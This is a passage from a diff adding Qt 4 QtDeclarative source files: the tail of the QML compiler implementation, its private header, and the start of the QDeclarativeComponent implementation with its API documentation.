+ expr.expression = binding.expression;
+ expr.imports = unit->imports();
+
+ // ### We don't currently optimize for bindings on alias's - because
+ // of the solution to QTBUG-13719
+ if (!binding.property->isAlias) {
+ int index = bindingCompiler.compile(expr, enginePrivate);
+ if (index != -1) {
+ binding.dataType = BindingReference::Experimental;
+ binding.compiledIndex = index;
+ componentStat.optimizedBindings.append(iter.key()->location);
+ continue;
+ }
+ }
+
+ binding.dataType = BindingReference::QtScript;
+
+ // Pre-rewrite the expression
+ QString expression = binding.expression.asScript();
+
+ QDeclarativeRewrite::RewriteBinding rewriteBinding;
+ rewriteBinding.setName('$'+binding.property->name);
+ bool isSharable = false;
+ expression = rewriteBinding(binding.expression.asAST(), expression, &isSharable);
+
+ quint32 length = expression.length();
+ quint32 pc;
+
+ if (isSharable) {
+ pc = output->cachedClosures.count();
+ pc |= 0x80000000;
+ output->cachedClosures.append(0);
+ } else {
+ pc = output->cachedPrograms.length();
+ output->cachedPrograms.append(0);
+ }
+
+ binding.compiledData =
+ QByteArray((const char *)&pc, sizeof(quint32)) +
+ QByteArray((const char *)&length, sizeof(quint32)) +
+ QByteArray((const char *)expression.constData(),
+ expression.length() * sizeof(QChar));
+
+ componentStat.scriptBindings.append(iter.key()->location);
+ }
+
+ if (bindingCompiler.isValid()) {
+ compileState.compiledBindingData = bindingCompiler.program();
+ if (bindingsDump())
+ QDeclarativeBindingCompiler::dump(compileState.compiledBindingData);
+ }
+
+ saveComponentState();
+
+ return true;
+}
+
+void QDeclarativeCompiler::dumpStats()
+{
+ qWarning().nospace() << "QML Document: " << output->url.toString();
+ for (int ii = 0; ii < savedComponentStats.count(); ++ii) {
+ const ComponentStat &stat = savedComponentStats.at(ii);
+ qWarning().nospace() << " Component Line " << stat.lineNumber;
+ qWarning().nospace() << " Total Objects: " << stat.objects;
+ qWarning().nospace() << " IDs Used: " << stat.ids;
+ qWarning().nospace() << " Optimized Bindings: " << stat.optimizedBindings.count();
+
+ {
+ QByteArray output;
+ for (int ii = 0; ii < stat.optimizedBindings.count(); ++ii) {
+ if (0 == (ii % 10)) {
+ if (ii) output.append("\n");
+ output.append(" ");
+ }
+
+ output.append("(");
+ output.append(QByteArray::number(stat.optimizedBindings.at(ii).start.line));
+ output.append(":");
+ output.append(QByteArray::number(stat.optimizedBindings.at(ii).start.column));
+ output.append(") ");
+ }
+ if (!output.isEmpty())
+ qWarning().nospace() << output.constData();
+ }
+
+ qWarning().nospace() << " QScript Bindings: " << stat.scriptBindings.count();
+ {
+ QByteArray output;
+ for (int ii = 0; ii < stat.scriptBindings.count(); ++ii) {
+ if (0 == (ii % 10)) {
+ if (ii) output.append("\n");
+ output.append(" ");
+ }
+
+ output.append("(");
+ output.append(QByteArray::number(stat.scriptBindings.at(ii).start.line));
+ output.append(":");
+ output.append(QByteArray::number(stat.scriptBindings.at(ii).start.column));
+ output.append(") ");
+ }
+ if (!output.isEmpty())
+ qWarning().nospace() << output.constData();
+ }
+ }
+}
+
+/*!
+ Returns true if from can be assigned to a (QObject) property of type
+ to.
+*/
+bool QDeclarativeCompiler::canCoerce(int to, QDeclarativeParser::Object *from)
+{
+ const QMetaObject *toMo =
+ enginePrivate->rawMetaObjectForType(to);
+ const QMetaObject *fromMo = from->metaObject();
+
+ while (fromMo) {
+ if (QDeclarativePropertyPrivate::equal(fromMo, toMo))
+ return true;
+ fromMo = fromMo->superClass();
+ }
+ return false;
+}
+
+QDeclarativeType *QDeclarativeCompiler::toQmlType(QDeclarativeParser::Object *from)
+{
+ // ### Optimize
+ const QMetaObject *mo = from->metatype;
+ QDeclarativeType *type = 0;
+ while (!type && mo) {
+ type = QDeclarativeMetaType::qmlType(mo);
+ mo = mo->superClass();
+ }
+ return type;
+}
+
+QStringList QDeclarativeCompiler::deferredProperties(QDeclarativeParser::Object *obj)
+{
+ const QMetaObject *mo = obj->metatype;
+
+ int idx = mo->indexOfClassInfo("DeferredPropertyNames");
+ if (idx == -1)
+ return QStringList();
+
+ QMetaClassInfo classInfo = mo->classInfo(idx);
+ QStringList rv = QString::fromUtf8(classInfo.value()).split(QLatin1Char(','));
+ return rv;
+}
+
+// This code must match the semantics of QDeclarativePropertyPrivate::findSignalByName
+int QDeclarativeCompiler::indexOfSignal(QDeclarativeParser::Object *object, const QByteArray &name,
+ bool *notInRevision)
+{
+ if (notInRevision) *notInRevision = false;
+
+ if (object->synthCache || (object->type != -1 && output->types.at(object->type).propertyCache())) {
+ // XXX fromUtf8
+ QString strName(QString::fromUtf8(name));
+ QDeclarativePropertyCache *cache =
+ object->synthCache?object->synthCache:output->types.at(object->type).propertyCache();
+
+ QDeclarativePropertyCache::Data *d = cache->property(strName);
+ if (notInRevision) *notInRevision = false;
+
+ while (d && !(d->flags & QDeclarativePropertyCache::Data::IsFunction))
+ d = cache->overrideData(d);
+
+ if (d && !cache->isAllowedInRevision(d)) {
+ if (notInRevision) *notInRevision = true;
+ return -1;
+ } else if (d) {
+ return d->coreIndex;
+ }
+
+ if (name.endsWith("Changed")) {
+ QByteArray propName = name.mid(0, name.length() - 7);
+
+ int propIndex = indexOfProperty(object, propName, notInRevision);
+ if (propIndex != -1) {
+ d = cache->property(propIndex);
+ return d->notifyIndex;
+ }
+ }
+
+ return -1;
+ } else {
+ return QDeclarativePropertyPrivate::findSignalByName(object->metaObject(), name).methodIndex();
+ }
+
+}
+
+int QDeclarativeCompiler::indexOfProperty(QDeclarativeParser::Object *object, const QByteArray &name,
+ bool *notInRevision)
+{
+ if (notInRevision) *notInRevision = false;
+
+ if (object->synthCache || (object->type != -1 && output->types.at(object->type).propertyCache())) {
+ // XXX fromUtf8
+ QString strName(QString::fromUtf8(name));
+ QDeclarativePropertyCache *cache =
+ object->synthCache?object->synthCache:output->types.at(object->type).propertyCache();
+
+ QDeclarativePropertyCache::Data *d = cache->property(strName);
+ // Find the first property
+ while (d && d->flags & QDeclarativePropertyCache::Data::IsFunction)
+ d = cache->overrideData(d);
+
+ if (d && !cache->isAllowedInRevision(d)) {
+ if (notInRevision) *notInRevision = true;
+ return -1;
+ } else {
+ return d?d->coreIndex:-1;
+ }
+ } else {
+ const QMetaObject *mo = object->metaObject();
+ return mo->indexOfProperty(name.constData());
+ }
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativecompiler_p.h b/src/declarative/qml/qdeclarativecompiler_p.h
new file mode 100644
index 00000000..619fa3b3
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecompiler_p.h
@@ -0,0 +1,351 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVECOMPILER_P_H
+#define QDECLARATIVECOMPILER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarative.h"
+#include "qdeclarativeerror.h"
+#include "private/qdeclarativeinstruction_p.h"
+#include "private/qdeclarativeparser_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qbitfield_p.h"
+#include "private/qdeclarativepropertycache_p.h"
+#include "private/qdeclarativeintegercache_p.h"
+#include "private/qdeclarativetypenamecache_p.h"
+#include "private/qdeclarativetypeloader_p.h"
+
+#include <QtCore/qbytearray.h>
+#include <QtCore/qset.h>
+#include <QtCore/QCoreApplication>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeEngine;
+class QDeclarativeComponent;
+class QDeclarativeContext;
+class QDeclarativeContextData;
+
+class QScriptProgram;
+class Q_AUTOTEST_EXPORT QDeclarativeCompiledData : public QDeclarativeRefCount, public QDeclarativeCleanup
+{
+public:
+ QDeclarativeCompiledData(QDeclarativeEngine *engine);
+ virtual ~QDeclarativeCompiledData();
+
+ QString name;
+ QUrl url;
+ QDeclarativeTypeNameCache *importCache;
+
+ struct TypeReference
+ {
+ TypeReference()
+ : type(0), typePropertyCache(0), component(0) {}
+
+ QByteArray className;
+ QDeclarativeType *type;
+ QDeclarativePropertyCache *typePropertyCache;
+ QDeclarativeCompiledData *component;
+
+ QObject *createInstance(QDeclarativeContextData *, const QBitField &, QList<QDeclarativeError> *) const;
+ const QMetaObject *metaObject() const;
+ QDeclarativePropertyCache *propertyCache() const;
+ QDeclarativePropertyCache *createPropertyCache(QDeclarativeEngine *);
+ };
+ QList<TypeReference> types;
+ struct CustomTypeData
+ {
+ int index;
+ int type;
+ };
+
+ const QMetaObject *root;
+ QAbstractDynamicMetaObject rootData;
+ QDeclarativePropertyCache *rootPropertyCache;
+ QList<QString> primitives;
+ QList<float> floatData;
+ QList<int> intData;
+ QList<CustomTypeData> customTypeData;
+ QList<QByteArray> datas;
+ QList<QDeclarativeParser::Location> locations;
+ QList<QDeclarativeInstruction> bytecode;
+ QList<QScriptProgram *> cachedPrograms;
+ QList<QScriptValue *> cachedClosures;
+ QList<QDeclarativePropertyCache *> propertyCaches;
+ QList<QDeclarativeIntegerCache *> contextCaches;
+ QList<QDeclarativeParser::Object::ScriptBlock> scripts;
+ QList<QUrl> urls;
+
+ void dumpInstructions();
+
+protected:
+ virtual void clear(); // From QDeclarativeCleanup
+
+private:
+ void dump(QDeclarativeInstruction *, int idx = -1);
+ QDeclarativeCompiledData(const QDeclarativeCompiledData &other);
+ QDeclarativeCompiledData &operator=(const QDeclarativeCompiledData &other);
+ QByteArray packData;
+ friend class QDeclarativeCompiler;
+ int pack(const char *, size_t);
+
+ int indexForString(const QString &);
+ int indexForByteArray(const QByteArray &);
+ int indexForFloat(float *, int);
+ int indexForInt(int *, int);
+ int indexForLocation(const QDeclarativeParser::Location &);
+ int indexForLocation(const QDeclarativeParser::LocationSpan &);
+ int indexForUrl(const QUrl &);
+};
+
+class QMetaObjectBuilder;
+class Q_AUTOTEST_EXPORT QDeclarativeCompiler
+{
+ Q_DECLARE_TR_FUNCTIONS(QDeclarativeCompiler)
+public:
+ QDeclarativeCompiler();
+
+ bool compile(QDeclarativeEngine *, QDeclarativeTypeData *, QDeclarativeCompiledData *);
+
+ bool isError() const;
+ QList<QDeclarativeError> errors() const;
+
+ static bool isAttachedPropertyName(const QByteArray &);
+ static bool isSignalPropertyName(const QByteArray &);
+
+ int evaluateEnum(const QByteArray& script) const; // for QDeclarativeCustomParser::evaluateEnum
+ const QMetaObject *resolveType(const QByteArray& name) const; // for QDeclarativeCustomParser::resolveType
+ int rewriteBinding(const QString& expression, const QByteArray& name); // for QDeclarativeCustomParser::rewriteBinding
+
+private:
+ static void reset(QDeclarativeCompiledData *);
+
+ struct BindingContext {
+ BindingContext()
+ : stack(0), owner(0), object(0) {}
+ BindingContext(QDeclarativeParser::Object *o)
+ : stack(0), owner(0), object(o) {}
+ BindingContext incr() const {
+ BindingContext rv(object);
+ rv.stack = stack + 1;
+ return rv;
+ }
+ bool isSubContext() const { return stack != 0; }
+ int stack;
+ int owner;
+ QDeclarativeParser::Object *object;
+ };
+
+ void compileTree(QDeclarativeParser::Object *tree);
+
+
+ bool buildObject(QDeclarativeParser::Object *obj, const BindingContext &);
+ bool buildComponent(QDeclarativeParser::Object *obj, const BindingContext &);
+ bool buildSubObject(QDeclarativeParser::Object *obj, const BindingContext &);
+ bool buildSignal(QDeclarativeParser::Property *prop, QDeclarativeParser::Object *obj,
+ const BindingContext &);
+ bool buildProperty(QDeclarativeParser::Property *prop, QDeclarativeParser::Object *obj,
+ const BindingContext &);
+ bool buildPropertyInNamespace(QDeclarativeImportedNamespace *ns,
+ QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ const BindingContext &);
+ bool buildIdProperty(QDeclarativeParser::Property *prop, QDeclarativeParser::Object *obj);
+ bool buildAttachedProperty(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt);
+ bool buildGroupedProperty(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt);
+ bool buildValueTypeProperty(QObject *type,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Object *baseObj,
+ const BindingContext &ctxt);
+ bool buildListProperty(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt);
+ bool buildScriptStringProperty(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt);
+ bool buildPropertyAssignment(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt);
+ bool buildPropertyObjectAssignment(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Value *value,
+ const BindingContext &ctxt);
+ bool buildPropertyOnAssignment(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Object *baseObj,
+ QDeclarativeParser::Value *value,
+ const BindingContext &ctxt);
+ bool buildPropertyLiteralAssignment(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Value *value,
+ const BindingContext &ctxt);
+ bool doesPropertyExist(QDeclarativeParser::Property *prop, QDeclarativeParser::Object *obj);
+ bool testLiteralAssignment(const QMetaProperty &prop,
+ QDeclarativeParser::Value *value);
+ bool testQualifiedEnumAssignment(const QMetaProperty &prop,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Value *value,
+ bool *isAssignment);
+ enum DynamicMetaMode { IgnoreAliases, ResolveAliases, ForceCreation };
+ bool mergeDynamicMetaProperties(QDeclarativeParser::Object *obj);
+ bool buildDynamicMeta(QDeclarativeParser::Object *obj, DynamicMetaMode mode);
+ bool checkDynamicMeta(QDeclarativeParser::Object *obj);
+ bool buildBinding(QDeclarativeParser::Value *, QDeclarativeParser::Property *prop,
+ const BindingContext &ctxt);
+ bool buildComponentFromRoot(QDeclarativeParser::Object *obj, const BindingContext &);
+ bool compileAlias(QMetaObjectBuilder &,
+ QByteArray &data,
+ QDeclarativeParser::Object *obj,
+ const QDeclarativeParser::Object::DynamicProperty &);
+ bool completeComponentBuild();
+ bool checkValidId(QDeclarativeParser::Value *, const QString &);
+
+
+ void genObject(QDeclarativeParser::Object *obj);
+ void genObjectBody(QDeclarativeParser::Object *obj);
+ void genValueTypeProperty(QDeclarativeParser::Object *obj,QDeclarativeParser::Property *);
+ void genComponent(QDeclarativeParser::Object *obj);
+ void genValueProperty(QDeclarativeParser::Property *prop, QDeclarativeParser::Object *obj);
+ void genListProperty(QDeclarativeParser::Property *prop, QDeclarativeParser::Object *obj);
+ void genPropertyAssignment(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Property *valueTypeProperty = 0);
+ void genLiteralAssignment(const QMetaProperty &prop,
+ QDeclarativeParser::Value *value);
+ void genBindingAssignment(QDeclarativeParser::Value *binding,
+ QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Property *valueTypeProperty = 0);
+ int genContextCache();
+
+ int genValueTypeData(QDeclarativeParser::Property *prop, QDeclarativeParser::Property *valueTypeProp);
+ int genPropertyData(QDeclarativeParser::Property *prop);
+
+ int componentTypeRef();
+
+ static QDeclarativeType *toQmlType(QDeclarativeParser::Object *from);
+ bool canCoerce(int to, QDeclarativeParser::Object *from);
+
+ QStringList deferredProperties(QDeclarativeParser::Object *);
+ int indexOfProperty(QDeclarativeParser::Object *, const QByteArray &, bool *notInRevision = 0);
+ int indexOfSignal(QDeclarativeParser::Object *, const QByteArray &, bool *notInRevision = 0);
+
+ void addId(const QString &, QDeclarativeParser::Object *);
+
+ void dumpStats();
+
+ struct BindingReference {
+ QDeclarativeParser::Variant expression;
+ QDeclarativeParser::Property *property;
+ QDeclarativeParser::Value *value;
+
+ enum DataType { QtScript, Experimental };
+ DataType dataType;
+
+ int compiledIndex;
+
+ QByteArray compiledData;
+ BindingContext bindingContext;
+ };
+ void addBindingReference(const BindingReference &);
+
+ struct ComponentCompileState
+ {
+ ComponentCompileState()
+ : parserStatusCount(0), pushedProperties(0), root(0) {}
+ QHash<QString, QDeclarativeParser::Object *> ids;
+ QHash<int, QDeclarativeParser::Object *> idIndexes;
+ int parserStatusCount;
+ int pushedProperties;
+
+ QByteArray compiledBindingData;
+
+ QHash<QDeclarativeParser::Value *, BindingReference> bindings;
+ QHash<QDeclarativeParser::Value *, BindingContext> signalExpressions;
+ QList<QDeclarativeParser::Object *> aliasingObjects;
+ QDeclarativeParser::Object *root;
+ };
+ ComponentCompileState compileState;
+
+ struct ComponentStat
+ {
+ ComponentStat() : ids(0), objects(0) {}
+
+ int lineNumber;
+
+ int ids;
+ QList<QDeclarativeParser::LocationSpan> scriptBindings;
+ QList<QDeclarativeParser::LocationSpan> optimizedBindings;
+ int objects;
+ };
+ ComponentStat componentStat;
+
+ void saveComponentState();
+
+ ComponentCompileState componentState(QDeclarativeParser::Object *);
+ QHash<QDeclarativeParser::Object *, ComponentCompileState> savedCompileStates;
+ QList<ComponentStat> savedComponentStats;
+
+ QList<QDeclarativeError> exceptions;
+ QDeclarativeCompiledData *output;
+ QDeclarativeEngine *engine;
+ QDeclarativeEnginePrivate *enginePrivate;
+ QDeclarativeParser::Object *unitRoot;
+ QDeclarativeTypeData *unit;
+};
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVECOMPILER_P_H
diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp
new file mode 100644
index 00000000..e427f4e8
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecomponent.cpp
@@ -0,0 +1,1086 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativecomponent.h"
+#include "private/qdeclarativecomponent_p.h"
+
+#include "private/qdeclarativecompiler_p.h"
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativevme_p.h"
+#include "qdeclarative.h"
+#include "qdeclarativeengine.h"
+#include "private/qdeclarativebinding_p.h"
+#include "private/qdeclarativebinding_p_p.h"
+#include "private/qdeclarativeglobal_p.h"
+#include "private/qdeclarativescriptparser_p.h"
+#include "private/qdeclarativedebugtrace_p.h"
+#include "private/qdeclarativeenginedebugservice_p.h"
+#include <QtScript/qscriptvalueiterator.h>
+
+#include <QStack>
+#include <QStringList>
+#include <QtCore/qdebug.h>
+#include <QApplication>
+#include <qdeclarativeinfo.h>
+
+QT_BEGIN_NAMESPACE
+
+class QByteArray;
+
+/*!
+ \class QDeclarativeComponent
+ \since 4.7
+ \brief The QDeclarativeComponent class encapsulates a QML component definition.
+ \mainclass
+
+ Components are reusable, encapsulated QML elements with well-defined interfaces.
+ They are often defined in \l {qdeclarativedocuments.html}{Component Files}.
+
+ A QDeclarativeComponent instance can be created from a QML file.
+ For example, if there is a \c main.qml file like this:
+
+ \qml
+ import QtQuick 1.0
+
+ Item {
+ width: 200
+ height: 200
+ }
+ \endqml
+
+ The following code loads this QML file as a component, creates an instance of
+ this component using create(), and then queries the \l Item's \l {Item::}{width}
+ value:
+
+ \code
+ QDeclarativeEngine *engine = new QDeclarativeEngine;
+ QDeclarativeComponent component(engine, QUrl::fromLocalFile("main.qml"));
+
+ QObject *myObject = component.create();
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(myObject);
+ int width = item->width(); // width = 200
+ \endcode
+
+
+ \section2 Network Components
+
+ If the URL passed to QDeclarativeComponent is a network resource, or if the QML document references a
+ network resource, the QDeclarativeComponent has to fetch the network data before it is able to create
+ objects. In this case, the QDeclarativeComponent will have a \l {QDeclarativeComponent::Loading}{Loading}
+ \l {QDeclarativeComponent::status()}{status}. An application will have to wait until the component
+ is \l {QDeclarativeComponent::Ready}{Ready} before calling \l {QDeclarativeComponent::create()}.
+
+ The following example shows how to load a QML file from a network resource. After creating
+ the QDeclarativeComponent, it tests whether the component is loading. If it is, it connects to the
+ QDeclarativeComponent::statusChanged() signal and otherwise calls the \c {continueLoading()} method
+ directly. Note that QDeclarativeComponent::isLoading() may be false for a network component if the
+ component has been cached and is ready immediately.
+
+ \code
+ MyApplication::MyApplication()
+ {
+ // ...
+ component = new QDeclarativeComponent(engine, QUrl("http://www.example.com/main.qml"));
+ if (component->isLoading())
+ QObject::connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
+ this, SLOT(continueLoading()));
+ else
+ continueLoading();
+ }
+
+ void MyApplication::continueLoading()
+ {
+ if (component->isError()) {
+ qWarning() << component->errors();
+ } else {
+ QObject *myObject = component->create();
+ }
+ }
+ \endcode
+
+ \sa {Using QML Bindings in C++ Applications}, {Integrating QML Code with Existing Qt UI Code}
+*/
+
+/*!
+ \qmlclass Component QDeclarativeComponent
+ \ingroup qml-utility-elements
+ \since 4.7
+ \brief The Component element encapsulates a QML component definition.
+
+ Components are reusable, encapsulated QML elements with well-defined interfaces.
+
+ Components are often defined by \l {qdeclarativedocuments.html}{component files} -
+ that is, \c .qml files. The \e Component element essentially allows QML components
+ to be defined inline, within a \l {QML Document}{QML document}, rather than as a separate QML file.
+ This may be useful for reusing a small component within a QML file, or for defining
+ a component that logically belongs with other QML components within a file.
+
+ For example, here is a component that is used by multiple \l Loader objects.
+ It contains a single item, a \l Rectangle:
+
+ \snippet doc/src/snippets/declarative/component.qml 0
+
+ Notice that while a \l Rectangle by itself would be automatically
+ rendered and displayed, this is not the case for the above rectangle
+ because it is defined inside a \c Component. The component encapsulates the
+ QML elements within, as if they were defined in a separate QML
+ file, and is not loaded until requested (in this case, by the
+ two \l Loader objects).
+
+ Defining a \c Component is similar to defining a \l {QML Document}{QML document}.
+ A QML document has a single top-level item that defines the behaviors and
+ properties of that component, and cannot define properties or behaviors outside
+ of that top-level item. In the same way, a \c Component definition contains a single
+ top level item (which in the above example is a \l Rectangle) and cannot define any
+ data outside of this item, with the exception of an \e id (which in the above example
+ is \e redSquare).
+
+ The \c Component element is commonly used to provide graphical components
+ for views. For example, the ListView::delegate property requires a \c Component
+ to specify how each list item is to be displayed.
+
+ \c Component objects can also be created dynamically using
+ \l{QML:Qt::createComponent()}{Qt.createComponent()}.
+*/
+
+/*!
+ \qmlattachedsignal Component::onCompleted()
+
+ Emitted after component "startup" has completed. This can be used to
+ execute script code at startup, once the full QML environment has been
+ established.
+
+ The \c {Component::onCompleted} attached property can be applied to
+ any element. The order of running the \c onCompleted scripts is
+ undefined.
+
+ \qml
+ Rectangle {
+ Component.onCompleted: console.log("Completed Running!")
+ Rectangle {
+ Component.onCompleted: console.log("Nested Completed Running!")
+ }
+ }
+ \endqml
+*/
+
+/*!
+ \qmlattachedsignal Component::onDestruction()
+
+ Emitted as the component begins destruction. This can be used to undo
+ work done in the onCompleted signal, or other imperative code in your
+ application.
+
+ The \c {Component::onDestruction} attached property can be applied to
+ any element. However, it applies to the destruction of the component as
+ a whole, and not the destruction of the specific object. The order of
+ running the \c onDestruction scripts is undefined.
+
+ \qml
+ Rectangle {
+ Component.onDestruction: console.log("Destruction Beginning!")
+ Rectangle {
+ Component.onDestruction: console.log("Nested Destruction Beginning!")
+ }
+ }
+ \endqml
+
+ \sa QtDeclarative
+*/
+
+/*!
+ \enum QDeclarativeComponent::Status
+
+ Specifies the loading status of the QDeclarativeComponent.
+
+ \value Null This QDeclarativeComponent has no data. Call loadUrl() or setData() to add QML content.
+ \value Ready This QDeclarativeComponent is ready and create() may be called.
+ \value Loading This QDeclarativeComponent is loading network data.
+ \value Error An error has occurred. Call errors() to retrieve a list of \{QDeclarativeError}{errors}.
+*/
+
+void QDeclarativeComponentPrivate::typeDataReady(QDeclarativeTypeData *)
+{
+ Q_Q(QDeclarativeComponent);
+
+ Q_ASSERT(typeData);
+
+ fromTypeData(typeData);
+ typeData = 0;
+
+ emit q->statusChanged(q->status());
+}
+
+void QDeclarativeComponentPrivate::typeDataProgress(QDeclarativeTypeData *, qreal p)
+{
+ Q_Q(QDeclarativeComponent);
+
+ progress = p;
+
+ emit q->progressChanged(p);
+}
+
+void QDeclarativeComponentPrivate::fromTypeData(QDeclarativeTypeData *data)
+{
+ url = data->finalUrl();
+ QDeclarativeCompiledData *c = data->compiledData();
+
+ if (!c) {
+ Q_ASSERT(data->isError());
+ state.errors = data->errors();
+ } else {
+ cc = c;
+ }
+
+ data->release();
+}
+
+void QDeclarativeComponentPrivate::clear()
+{
+ if (typeData) {
+ typeData->unregisterCallback(this);
+ typeData->release();
+ typeData = 0;
+ }
+
+ if (cc) {
+ cc->release();
+ cc = 0;
+ }
+}
+
+/*!
+ \internal
+*/
+QDeclarativeComponent::QDeclarativeComponent(QObject *parent)
+ : QObject(*(new QDeclarativeComponentPrivate), parent)
+{
+}
+
+/*!
+ Destruct the QDeclarativeComponent.
+*/
+QDeclarativeComponent::~QDeclarativeComponent()
+{
+ Q_D(QDeclarativeComponent);
+
+ if (d->state.completePending) {
+ qWarning("QDeclarativeComponent: Component destroyed while completion pending");
+ d->completeCreate();
+ }
+
+ if (d->typeData) {
+ d->typeData->unregisterCallback(d);
+ d->typeData->release();
+ }
+ if (d->cc)
+ d->cc->release();
+}
+
+/*!
+ \qmlproperty enumeration Component::status
+ This property holds the status of component loading. It can be one of:
+ \list
+ \o Component.Null - no data is available for the component
+ \o Component.Ready - the component has been loaded, and can be used to create instances.
+ \o Component.Loading - the component is currently being loaded
+ \o Component.Error - an error occurred while loading the component.
+ Calling errorString() will provide a human-readable description of any errors.
+ \endlist
+ */
+
+/*!
+ \property QDeclarativeComponent::status
+ The component's current \l{QDeclarativeComponent::Status} {status}.
+ */
+QDeclarativeComponent::Status QDeclarativeComponent::status() const
+{
+ Q_D(const QDeclarativeComponent);
+
+ if (d->typeData)
+ return Loading;
+ else if (!d->state.errors.isEmpty())
+ return Error;
+ else if (d->engine && d->cc)
+ return Ready;
+ else
+ return Null;
+}
+
+/*!
+ Returns true if status() == QDeclarativeComponent::Null.
+*/
+bool QDeclarativeComponent::isNull() const
+{
+ return status() == Null;
+}
+
+/*!
+ Returns true if status() == QDeclarativeComponent::Ready.
+*/
+bool QDeclarativeComponent::isReady() const
+{
+ return status() == Ready;
+}
+
+/*!
+ Returns true if status() == QDeclarativeComponent::Error.
+*/
+bool QDeclarativeComponent::isError() const
+{
+ return status() == Error;
+}
+
+/*!
+ Returns true if status() == QDeclarativeComponent::Loading.
+*/
+bool QDeclarativeComponent::isLoading() const
+{
+ return status() == Loading;
+}
+
+/*!
+ \qmlproperty real Component::progress
+ The progress of loading the component, from 0.0 (nothing loaded)
+ to 1.0 (finished).
+*/
+
+/*!
+ \property QDeclarativeComponent::progress
+ The progress of loading the component, from 0.0 (nothing loaded)
+ to 1.0 (finished).
+*/
+qreal QDeclarativeComponent::progress() const
+{
+ Q_D(const QDeclarativeComponent);
+ return d->progress;
+}
+
+/*!
+ \fn void QDeclarativeComponent::progressChanged(qreal progress)
+
+ Emitted whenever the component's loading progress changes. \a progress will be the
+ current progress between 0.0 (nothing loaded) and 1.0 (finished).
+*/
+
+/*!
+ \fn void QDeclarativeComponent::statusChanged(QDeclarativeComponent::Status status)
+
+ Emitted whenever the component's status changes. \a status will be the
+ new status.
+*/
+
+/*!
+ Create a QDeclarativeComponent with no data and give it the specified
+ \a engine and \a parent. Set the data with setData().
+*/
